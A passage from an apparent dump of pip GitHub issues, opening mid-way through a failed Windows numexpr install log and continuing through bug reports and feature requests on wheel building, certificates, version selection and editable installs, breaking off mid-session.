    copying .\numexpr\tests\test_numexpr.py -> build\lib.win-amd64-3.7\numexpr\tests
    copying .\numexpr\tests\__init__.py -> build\lib.win-amd64-3.7\numexpr\tests
    Skipping optional fixer: buffer
    Skipping optional fixer: idioms
    Skipping optional fixer: set_literal
    Skipping optional fixer: ws_comma
    running build_ext
    No module named 'numpy.distutils._msvccompiler' in numpy.distutils; trying from distutils
    customize MSVCCompiler
    customize MSVCCompiler using build_ext
    No module named 'numpy.distutils._msvccompiler' in numpy.distutils; trying from distutils
    customize MSVCCompiler
    Missing compiler_cxx fix for MSVCCompiler
    customize MSVCCompiler using build_ext
    building 'numexpr.interpreter' extension
    compiling C sources
    creating build\temp.win-amd64-3.7\Release\numexpr
    creating build\temp.win-amd64-3.7\Release\numexpr\win32
    C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -I"c:\program files\python37\lib\site-packages\numpy\core\include" -I"c:\program files\python37\include" -I"c:\program files\python37\include" -I"C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\include" -I"C:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\include\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\ucrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\shared" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\winrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\cppwinrt" /Tcnumexpr\win32\pthread.c /Fobuild\temp.win-amd64-3.7\Release\numexpr\win32\pthread.obj /Zm1000
    C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -I"c:\program files\python37\lib\site-packages\numpy\core\include" -I"c:\program files\python37\include" -I"c:\program files\python37\include" -I"C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\include" -I"C:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\include\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\ucrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\shared" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\winrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\cppwinrt" /EHsc /Tpnumexpr\interpreter.cpp /Fobuild\temp.win-amd64-3.7\Release\numexpr\interpreter.obj /Zm1000
    C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -I"c:\program files\python37\lib\site-packages\numpy\core\include" -I"c:\program files\python37\include" -I"c:\program files\python37\include" -I"C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\include" -I"C:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\include\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\ucrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\shared" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\winrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\cppwinrt" /EHsc /Tpnumexpr\module.cpp /Fobuild\temp.win-amd64-3.7\Release\numexpr\module.obj /Zm1000
    C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -I"c:\program files\python37\lib\site-packages\numpy\core\include" -I"c:\program files\python37\include" -I"c:\program files\python37\include" -I"C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\include" -I"C:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\include\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\ucrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\shared" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\um" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\winrt" -I"C:\Program Files (x86)\Windows Kits\10\include\10.0.17134.0\cppwinrt" /EHsc /Tpnumexpr\numexpr_object.cpp /Fobuild\temp.win-amd64-3.7\Release\numexpr\numexpr_object.obj /Zm1000
    C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\bin\HostX86\x64\link.exe /nologo /INCREMENTAL:NO /LTCG /DLL /MANIFEST:EMBED,ID=2 /MANIFESTUAC:NO /LIBPATH:"c:\program files\python37\libs" /LIBPATH:"c:\program files\python37\PCbuild\amd64" /LIBPATH:"C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Tools\MSVC\14.14.26428\lib\x64" /LIBPATH:"C:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\lib\um\x64" /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\lib\10.0.17134.0\ucrt\x64" /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\lib\10.0.17134.0\um\x64" /EXPORT:PyInit_interpreter build\temp.win-amd64-3.7\Release\numexpr\win32\pthread.obj build\temp.win-amd64-3.7\Release\numexpr\interpreter.obj build\temp.win-amd64-3.7\Release\numexpr\module.obj build\temp.win-amd64-3.7\Release\numexpr\numexpr_object.obj /OUT:build\lib.win-amd64-3.7\numexpr\interpreter.cp37-win_amd64.pyd /IMPLIB:build\temp.win-amd64-3.7\Release\numexpr\win32\interpreter.cp37-win_amd64.lib
    running install_lib
    creating c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\cpuinfo.py -> c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\expressions.py -> c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\interpreter.cp37-win_amd64.pyd -> c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\necompiler.py -> c:\program files\python37\Lib\site-packages\numexpr
    creating c:\program files\python37\Lib\site-packages\numexpr\tests
    copying build\lib.win-amd64-3.7\numexpr\tests\test_numexpr.py -> c:\program files\python37\Lib\site-packages\numexpr\tests
    copying build\lib.win-amd64-3.7\numexpr\tests\__init__.py -> c:\program files\python37\Lib\site-packages\numexpr\tests
    copying build\lib.win-amd64-3.7\numexpr\utils.py -> c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\version.py -> c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\__config__.py -> c:\program files\python37\Lib\site-packages\numexpr
    copying build\lib.win-amd64-3.7\numexpr\__init__.py -> c:\program files\python37\Lib\site-packages\numexpr
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\cpuinfo.py to cpuinfo.cpython-37.pyc
    Sorry: IndentationError: unexpected indent (cpuinfo.py, line 519)
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\expressions.py to expressions.cpython-37.pyc
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\necompiler.py to necompiler.cpython-37.pyc
      File "c:\program files\python37\Lib\site-packages\numexpr\necompiler.py", line 1098

        ^
    SyntaxError: invalid syntax

    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\tests\test_numexpr.py to test_numexpr.cpython-37.pyc
    Sorry: IndentationError: unexpected indent (test_numexpr.py, line 1279)
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\tests\__init__.py to __init__.cpython-37.pyc
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\utils.py to utils.cpython-37.pyc
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\version.py to version.cpython-37.pyc
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\__config__.py to __config__.cpython-37.pyc
    byte-compiling c:\program files\python37\Lib\site-packages\numexpr\__init__.py to __init__.cpython-37.pyc
    running install_egg_info
    running egg_info
    writing numexpr.egg-info\PKG-INFO
    writing dependency_links to numexpr.egg-info\dependency_links.txt
    writing requirements to numexpr.egg-info\requires.txt
    writing top-level names to numexpr.egg-info\top_level.txt
    reading manifest file 'numexpr.egg-info\SOURCES.txt'
    reading manifest template 'MANIFEST.in'
    warning: no previously-included files found matching 'numexpr\__config__.py'
    warning: no previously-included files found matching 'RELEASING.txt'
    writing manifest file 'numexpr.egg-info\SOURCES.txt'
    Copying numexpr.egg-info to c:\program files\python37\Lib\site-packages\numexpr-2.6.5-py3.7.egg-info
    running install_scripts
    running install_clib
    No module named 'numpy.distutils._msvccompiler' in numpy.distutils; trying from distutils
    customize MSVCCompiler
    writing list of installed files to 'C:\Users\user\AppData\Local\Temp\pip-record-oo0yhiqs\install-record.txt'
    re-writing list of installed files to 'C:\Users\user\AppData\Local\Temp\pip-record-oo0yhiqs\install-record.txt'
Could not install packages due to an EnvironmentError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: '"c:'

Cleaning up...
  Removing source in C:\Users\user\AppData\Local\Temp\pip-install-armieiqf\numexpr
```

</details>
user: Unprocessable
labels: OS: windows: Windows specific
type: support: User Support
issue_5519: state: open
title: pip wheel directory copy misses .git in parent directories
body: **Environment**

* pip version: 10.0.1
* Python version: 3.5
* OS: linux

<!-- Feel free to add more information about your environment here -->
This is inside a docker container (manylinux)

**Description**
<!-- A clear and concise description of what the bug is. -->

`pip wheel` copies files to a tempdir to do the build, however for meta-repos where the python package is a subdirectory in, this ends up not copying the .git dir, which creates problems (in this case due to build scripts trying to inspect the git tag or commit)

This is similar to issue #3908

I originally posted an issue to the pbr project because I thought the issue was in it, but after digging through source realized it only happened when using `pip wheel` (`setup.py bdist_wheel` works fine)

Bunch of log output and my journey towards isolating the bug to `pip wheel`:
https://bugs.launchpad.net/pbr/+bug/1777725

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

I suppose I expect it to copy the the entire project from the root of the git tree


**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

The project this is happening in isn't public yet, and it uses pbr which tries to talk to git. The above link to launchpad has a bunch of log output, the general reproduction would be

projfoo/.git
projfoo/python/setup.py

where setup.py needs to access projfoo/.git to build correctly

**Output**

Logs included in launchpad link https://bugs.launchpad.net/pbr/+bug/1777725

```
Paste the output of the steps above, including the commands themselves and
pip's output/traceback etc.
```

user: termie
labels: C: wheel: The wheel format and 'pip wheel' command
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
issue_5503: state: open
title: pip install is downloading pre-release version without the --pre argument
body: * Pip version:10.0.1
* Python version:3.6.5
* Operating system:GNU/Linux (openSUSE Tumbleweed)

Dear all

I have created a new gnuhealth pre-release package using PEP440 versioning (3.3a1). 

The problem is that  if someone types "pip install --user gnuhealth" (without explicitly passing --pre as an argument) it will download the pre-release unstable version that is intended for developers and not for general users.

Any thoughts are most welcome.

Best
Luis


user: ghost
labels: PEP implementation: Involves some PEP
issue_5502: state: open
title: PEP 518 build dependency installs don't respect --cert command line option
body: **Environment**

* pip version: 10.0.1
* Python version: Python 2.7.13
* OS: Debian Stretch (latest)

**Description**
pip ignores provided --cert options on the command line when it makes an installation attempt on a library that has a pyproject.toml file, meaning PEP 518 build dependencies kick in.

(Note: Whether or not attrs has a valid toml file because there's no `[build-system]` section present is technically irrelevant, because the failure I'm reporting is related to _how pip tries to pull what it derives_, not _what pip derives to pull_.)

**Expected behavior**
When pip attempts to install PEP 518 build dependencies, it should use any provided --cert or --client-cert option. I tested that it doesn't use --cert. I would guess it probably doesn't use the related --client-cert either.

**How to Reproduce**

1. Create a virtualenv to isolate what you're going to be doing.
2. Create/use a devpi repository with a self-signed certificate in front of it, so the problem can be seen. (Alternatively, I suppose, you could probably purposely move your verify bundle to a nonstandard location, then explicitly specify 'that file' with the --cert command line option even if you used something like https://pypi.python.org/.)
2. Run `pip download --no-binary :all: --index-url https://my-devpi-server/myindex/+simple/ --cert /etc/ssl/certs/ca-certificates.crt attrs`
3. The source file will successfully download. Then it will attempt to install build dependencies, which fails on an CERTIFICATE_VERIFY_FAILED error.

**Output**

(Note that my-index has root/pypi as an index parent, so that redirection would be expected.)

```
(temp) wheel-builder@build1:~/temp$ pip download --no-binary :all: --index-url https://my-devpi-server/my-index/+simple/ --cert /etc/ssl/certs/ca-certificates.crt attrs
Looking in indexes: https://my-devpi-server/my-index/+simple/
Collecting attrs
  Downloading https://my-devpi-server/root/pypi/+f/e0d/0eb91441a3b53/attrs-18.1.0.tar.gz (106kB)
  Saved ./attrs-18.1.0.tar.gz
  Installing build dependencies ... error
  Complete output from command /var/lib/wheel-builder/temp/bin/python2 -m pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-QsBWnb https://my-devpi-server/root/pypi/+f/8fc/a9275c89964f1/setuptools-39.2.0-py2.py3-none-any.whl#sha256=8fca9275c89964f13da985c3656cb00ba029d7f3916b37990927ffdf264e7926 https://my-devpi-server/root/pypi/+f/800/44e51ec5bbf6c/wheel-0.31.1-py2.py3-none-any.whl#sha256=80044e51ec5bbf6c894ba0bc48d26a8c20a9ba629f4ca19ea26ecfcf87685f5f:
  Collecting setuptools==39.2.0 from https://my-devpi-server/root/pypi/+f/8fc/a9275c89964f1/setuptools-39.2.0-py2.py3-none-any.whl#sha256=8fca9275c89964f13da985c3656cb00ba029d7f3916b37990927ffdf264e7926
    Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, u'[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)'),)': /root/pypi/+f/8fc/a9275c89964f1/setuptools-39.2.0-py2.py3-none-any.whl
(((Repeats four more times)))
  Could not install packages due to an EnvironmentError: HTTPSConnectionPool(host='my-devpi-server', port=443): Max retries exceeded with url: /root/pypi/+f/8fc/a9275c89964f1/setuptools-39.2.0-py2.py3-none-any.whl (Caused by SSLError(SSLError(1, u'[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)'),))


  ----------------------------------------
Command "/var/lib/wheel-builder/temp/bin/python2 -m pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-QsBWnb https://my-devpi-server/root/pypi/+f/8fc/a9275c89964f1/setuptools-39.2.0-py2.py3-none-any.whl#sha256=8fca9275c89964f13da985c3656cb00ba029d7f3916b37990927ffdf264e7926 https://my-devpi-server/root/pypi/+f/800/44e51ec5bbf6c/wheel-0.31.1-py2.py3-none-any.whl#sha256=80044e51ec5bbf6c894ba0bc48d26a8c20a9ba629f4ca19ea26ecfcf87685f5f" failed with error code 1 in None
```

user: skylerbunny
labels: type: bug: A confirmed bug or unintended behavior
good first issue: A good item for first time contributors to work on
PEP implementation: Involves some PEP
issue_5500: state: open
title: Pip download prefers newer package version even when local package exists
body: **Environment**

* pip version: 10.0.1/master
* Python version: Tested on python 3.6
* OS: Linux

**Description**
`pip download` does not prefer package found locally even if it satisfies the requirements when there is a newer available at the remote package index

**Expected behavior**
Prefer the already existing package as long as long as it satisfies the dependency requirements

**How to Reproduce**
1. Create directory `pkg_cache`
2. Run `pip3 download --dest pkg_cache/  --find-links pkg_cache/ setuptools==39.0.1 && pip3 download --dest pkg_cache/  --find-links pkg_cache/ setuptools`


**Output**

```
pip3 download --dest pkg_cache/  --find-links pkg_cache/ setuptools==39.0.1 && pip3 download --dest pkg_cache/  --find-links pkg_cache/ setuptools
Looking in links: pkg_cache/
Collecting setuptools==39.0.1
  Using cached https://files.pythonhosted.org/packages/20/d7/04a0b689d3035143e2ff288f4b9ee4bf6ed80585cc121c90bfd85a1a8c2e/setuptools-39.0.1-py2.py3-none-any.whl
  Saved ./pkg_cache/setuptools-39.0.1-py2.py3-none-any.whl
Successfully downloaded setuptools
Looking in links: pkg_cache/
Collecting setuptools
  Using cached https://files.pythonhosted.org/packages/7f/e1/820d941153923aac1d49d7fc37e17b6e73bfbd2904959fffbad77900cf92/setuptools-39.2.0-py2.py3-none-any.whl
  Saved ./pkg_cache/setuptools-39.2.0-py2.py3-none-any.whl
Successfully downloaded setuptools
```

user: bendikro
labels: C: download: About fetching data from PyPI and other sources
state: needs discussion: This needs some more discussion
issue_5497: state: open
title: Expand pip's install-time conflict checking to the wheel and download commands
body: **What's the problem this feature will solve?**
pip install today warns when it installs an incompatible set of packages. pip wheel and pip download do not.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Expanding the warnings to also be shown when running pip wheel or pip download would be helpful as the same information is relevant even then.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
See https://github.com/pypa/pip/issues/988#issuecomment-396563716.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
None explored.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->
N/A

user: pradyunsg
labels: C: wheel: The wheel format and 'pip wheel' command
C: dependency resolution: About choosing which dependencies to install
C: download: About fetching data from PyPI and other sources
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_5481: state: open
title: Show help text in completion
body: **What's the problem this feature will solve?**
pip's completion does not show the help text for the various commands that are being used, which provide useful context when trying to fill in these details. 

**Describe the solution you'd like**
pip's `completion` command be extended to show the help text for an option when suggesting it.

**Alternative Solutions**
None explored.

**Additional context**
Current Output (pip 10.0.1):

```sh-session
$ pip <TAB>
check       completion  config      download    freeze      hash        help
install     list        search      show        uninstall   wheel
```

user: pradyunsg
labels: type: feature request: Request for a new feature
C: autocomplete: Autocompletion in shells (pip completion)
UX: User experience related
issue_5472: state: open
title: Add option and support to install and compile packages for a different Python interpreter
body: **What's the problem this feature will solve?**
pip doesn't work with older Python interpreters, but couples the interpreter for the install environment to the python interpreter running pip

**Describe the solution you'd like**
Add an environment variable '--python' which identifies an alternative python interpreter. This alternative interpreter is only used to identify dependencies, wheel versions, and to compile installed packages while everything else is handled by the interpreter used to call pip.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
Python 2.6 is currently not supported by pip and older versions of pip which do support Python 2.6 raise TLS/SSL warnings. This would allow a developer to pip install packages to unsupported environments like Python 2.6 using a newer version of Python and pip. A similar fate could be faced by Python 2.7 in the future or other Python interpreters unsupported by pip. This allows pip to continue supporting these interpreters without being stuck with maintaining compatibility with them.

Additionally, this would allow simplification of virtual environment creation such as those created with virtualenv or other bootstrapping tools.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
This behavior can be roughly approximated by using the '--target' option and running then compiling the code for the interpreter on the first run, but this option doesn't handle requirements specific to that version.

**Additional context**
pip was downloaded from PyPI 98,814 for Python 2.6 in the last 30 days. There is still significant demand for unsupported platforms.

user: avylove
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_5454: state: open
title: Ignore commas in pip show, etc.
body: **What's the problem this feature will solve?**
Currently on using pip show on a package with multiple dependencies they are listed comma separated, e.g.:
```
>pip show mayavi
Name: mayavi
Version: 4.6.0
Summary: UNKNOWN
Home-page: http://docs.enthought.com/mayavi/mayavi/
Author: Prabhu Ramachandran, et. al.
Author-email: prabhu@aero.iitb.ac.in
License: BSD
Location: c:\python36_64\lib\site-packages
Requires: apptools, envisage, numpy, pyface, pygments, traits, traitsui, vtk
Required-by:
```
But if, for example we wish to check the licence for all of the dependencies so copy the last line to pip show with:`>pip show apptools, envisage, numpy, pyface, pygments, traits, traitsui, vtk` it fails silently on everything but `vtk`. This could easily lead the user, _especially if they are using a pipe to filter the licence lines and remove duplicates,_ to draw the wrong conclusion.

**Describe the solution you'd like**
It the list processing for `pip show` and other commands were to add a strip of the comma character _rather than the relying user understanding what happened an performing a manual edit_ then the results would be as intuitively expected.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
In the real world example above stripping commas from the target list would have the same effect as `>pip show apptools envisage numpy pyface pygments traits traitsui vtk`

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: GadgetSteve
labels: C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
C: cli: Command line interface related things (optparse, option grouping etc)
issue_5453: state: open
title: Proposal: Add `--platform` flag to `pip install` and `pip wheel`
body: ## What's the problem this feature will solve?

By default, the wheel platform detection pip does on Linux isn’t very advanced: it produces a platform tag like `linux_x86_64`, which is the same across nearly all Linux installations.

For packages with compiled bits that link against system-installed shared objects (`.so` files), it’s necessary to use different wheels for systems with different versions of the shared libraries. For example, a wheel built on Ubuntu 14.04 will not necessarily work on Ubuntu 16.04.

Being able to specify a custom platform name would allow building the same package version on different systems to produce two wheels with unique filenames that can be served from the same PyPI registry. For example, you could produce two wheels with the (already valid) filenames:

* `numpy-1.9.2-cp36-cp36m-linux_ubuntu_14_04_x86_64.whl`
* `numpy-1.9.2-cp36-cp36m-linux_ubuntu_16_04_x86_64.whl`

These wheels can be distributed to package consumers (e.g. internally inside a company), who get the benefits of quick wheel installation (no compile-on-install) and the possibility to work from several different platforms.

## Describe the solution you'd like


We would like to add a `--platform` flag to the `pip install` and `pip wheel` commands, with identical behavior to the existing `--platform` flag on the `pip download` command. This change would allow building and installing wheels with a custom, user-provided platform name.

At `$COMPANY`, we’ve been building wheels with a custom platform name (just like the `numpy` example above) for several years. We upload these wheels to our internal PyPI registry, and install them using using [pip-custom-platform][pcp], a wrapper around pip that adds in the `--platform` flag being requested in this issue.

Because we have hundreds of different internal Python projects, upgrading from one OS version to another is a long process during which we need to support development (and wheels!) on multiple OSes. 

Overall, we’ve been very happy with the custom platform approach. The burden on projects and friction for developers is very low, and conceptually it fits in very nicely with the “platform” concept of a wheel (similar to how macOS wheels specify versions in the wheel’s platform tag). The downside for us right now, of course, is that we have to use a monkey-patched version of pip instead of the real thing.

pip-custom-platform has also started to be used by others in [interesting use cases such as building packages for AWS Lambda][usecase-lambda] to specify their own platform names.

The scope of the proposed change to pip is identical to the `--platform` flag for `pip download`: it’s just a flag that allows users to manually specify a platform to use. pip-custom-platform does have functionality to automatically generate platform names based on the Linux distribution, but we think it’s better to leave this complexity out of pip, and instead have users construct the platform name themselves and either pass in this flag manually or as an environment variable (possibly set at the system level by a system administrator, e.g. in `/etc/environment`).


## Alternative solutions

We considered several potential alternative solutions to this problem:

* Abandon wheels entirely and compile on installation. This works but makes installation unrealistically slow (20+ minutes for some projects) and requires installing build tooling and library headers (gcc, fortran, libxxx-dev, cmake, etc.) everywhere.
* Running one PyPI registry per distribution, where each serves wheels with the `linux_86_64` platform tag but which have been compiled on the corresponding platform. This could work, but is pretty unwieldy: every project would need some hackery in their build scripts to select the correct server, plus we’d have to run a ton of these registries (we currently support 3 Ubuntu versions, plus about half a dozen random platforms which are used in specialty cases but are still important to support, e.g. random Amazon Linux AMIs used for EMR). Additionally, if you were to accidentally use the wrong PyPI server and download wheels built for the wrong platform, pip would happily install them without problem and you wouldn’t notice until you get runtime errors in your code.


## Additional context
### Why can’t we use manylinux wheels?

[manylinux][manylinux] wheels are a method of providing a single built wheel that works across most Linux installations. In general they do this job pretty well, but unfortunately we’re unable to use them for many packages due to [the security concerns][manylinux-security] associated with them.

Specifically, for packages which need to depend on C libraries outside of the manylinux1 profile (for example, anything that depends on libssl, or almost all of the scientific Python libraries), the choices for producing a manylinux wheel are to either statically link in the dependencies, or to bundle the `.so` files in the wheel. In both of these cases, it is very difficult to roll out security updates across hundreds of different services, as it may involve patching and rebuilding the affected wheels, then building and deploying all of the services that consume them.

By contrast, rolling out security updates to shared libraries when services don’t bundle or statically link them is typically as easy as your distro’s equivalent of `apt-get upgrade` to pull in the latest patched version.

[pcp]: https://github.com/asottile/pip-custom-platform/
[manylinux]: https://www.python.org/dev/peps/pep-0513/
[manylinux-security]: https://www.python.org/dev/peps/pep-0513/#security-implications
[usecase-lambda]: https://github.com/asottile/pip-custom-platform/pull/16#issuecomment-351901180
user: chriskuehl
labels: type: feature request: Request for a new feature
issue_5443: state: open
title: Exporting remote Bazaar branch creates unnecessary clone
body: When creating an export of a remote Bazaar branch, pip currently will create a local clone of the branch, and then create an export from there.

This is unnecessary, as Bazaar supports directly exporting from a remote branch location - and this is significantly faster than first cloning, then exporting.
user: jelmer
labels: type: enhancement: Improvements to functionality
C: vcs: pip's interaction with version control systems like git, svn and bzr
issue_5420: state: open
title: Make the upgrade-pip prompt look less like an error (to a new user)
body: pip's current upgrade prompt can be confusing for new users where they confuse the upgrade advice as advice for fixing errors they're facing.

One of the solutions for this would be to make the upgrade prompt look different from the error output so that a new user does not confuse it with the same.

Context: https://github.com/pypa/packaging-problems/issues/149
user: pradyunsg
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
UX: User experience related
issue_5412: state: open
title: pip --upgrade doesnt pick up a new version of a package until warehouse search index has been updated
body: * Pip version: 10.0.1
* Python version: 3.6.4
* Operating system: Windows 10

### Description:

I recently raised an issue against warehouse:
https://github.com/pypa/warehouse/issues/3962
and have been directed to raise a subsequent issue here.

In summary:

- The warehouse search index is currently only updated periodically (every 3 hours)
- If a package has previously been installed using pip, pip wont pick up a new version of a package until the search index has been updated.
- The result of this is that you cannot upgrade an installed package using pip as soon as its available

### What I've run:

To reproduce the issue:

1. Create a package 
1. Upload the package to pypi 
1. Install the package `pip install package`
1. Increment the package version
1. Upload the new version to pypi
1. Upgrade the package `pip install package --upgrade`

At this point, pip will report "Requirement already up-to-date" and the previous version is the latest version. 

You want force pip to install the newest version by disabling the cache.

If you wait (some time - up to 3 hours) for the search index to be updated it will work successfully.
user: martinohanlon
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
C: cache: Dealing with cache and files in it
issue_5411: state: open
title: `pip install -e git+https...` will overwrite existing dirty working copies
body: * Pip version: 10.0.1
* Python version: 3.6.5
* Operating system: Debian 9.4 / stretch

### Description:

I often have editable installs where the clone is done by pip.  It seems that the point of editable installs from a VCS would be to edit them so they should be protected from being carelessly overwritten.  Instead, pip overwrites dirty working copies.  I would expect to need to `--force` or such to make this happen.

### What I've run:

https://gist.github.com/altendky/9a8cc1c7bec9f44911a2d904c09eb8b1
``` bash
altendky@lt:~/t$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.4 (stretch)
Release:        9.4
Codename:       stretch
altendky@lt:~/t$ ll -a
total 8
drwxr-xr-x  2 altendky altendky 4096 May 15 13:29 .
drwxr-xr-x 93 altendky altendky 4096 May 15 08:26 ..
altendky@lt:~/t$ python3 -m venv venv
altendky@lt:~/t$ venv/bin/python --version
Python 3.6.5
altendky@lt:~/t$ venv/bin/python -m pip install --upgrade pip
Collecting pip
  Using cached https://files.pythonhosted.org/packages/0f/74/ecd13431bcc456ed390b44c8a6e917c1820365cbebcb6a8974d1cd045ab4/pip-10.0.1-py2.py3-none-any.whl
Installing collected packages: pip
  Found existing installation: pip 9.0.3
    Uninstalling pip-9.0.3:
      Successfully uninstalled pip-9.0.3
Successfully installed pip-10.0.1
altendky@lt:~/t$ export PIP_SRC=$PWD/src
altendky@lt:~/t$ venv/bin/pip install -e git+https://github.com/altendky/gitignoreio#egg=gitignoreio
Obtaining gitignoreio from git+https://github.com/altendky/gitignoreio#egg=gitignoreio
  Cloning https://github.com/altendky/gitignoreio to ./src/gitignoreio
Collecting click (from gitignoreio)
  Using cached https://files.pythonhosted.org/packages/34/c1/8806f99713ddb993c5366c362b2f908f18269f8d792aff1abfd700775a77/click-6.7-py2.py3-none-any.whl
Collecting requests (from gitignoreio)
  Using cached https://files.pythonhosted.org/packages/49/df/50aa1999ab9bde74656c2919d9c0c085fd2b3775fd3eca826012bef76d8c/requests-2.18.4-py2.py3-none-any.whl
Collecting urllib3<1.23,>=1.21.1 (from requests->gitignoreio)
  Using cached https://files.pythonhosted.org/packages/63/cb/6965947c13a94236f6d4b8223e21beb4d576dc72e8130bd7880f600839b8/urllib3-1.22-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests->gitignoreio)
  Using cached https://files.pythonhosted.org/packages/7c/e6/92ad559b7192d846975fc916b65f667c7b8c3a32bea7372340bfe9a15fa5/certifi-2018.4.16-py2.py3-none-any.whl
Collecting chardet<3.1.0,>=3.0.2 (from requests->gitignoreio)
  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting idna<2.7,>=2.5 (from requests->gitignoreio)
  Using cached https://files.pythonhosted.org/packages/27/cc/6dd9a3869f15c2edfab863b992838277279ce92663d334df9ecf5106f5c6/idna-2.6-py2.py3-none-any.whl
Installing collected packages: click, urllib3, certifi, chardet, idna, requests, gitignoreio
  Running setup.py develop for gitignoreio
Successfully installed certifi-2018.4.16 chardet-3.0.4 click-6.7 gitignoreio idna-2.6 requests-2.18.4 urllib3-1.22
altendky@lt:~/t$ git -C src/gitignoreio/ status
On branch master
Your branch is up-to-date with 'origin/master'.

nothing to commit, working tree clean
altendky@lt:~/t$ echo '#blah' >> src/gitignoreio/setup.py
altendky@lt:~/t$ git -C src/gitignoreio/ status
On branch master
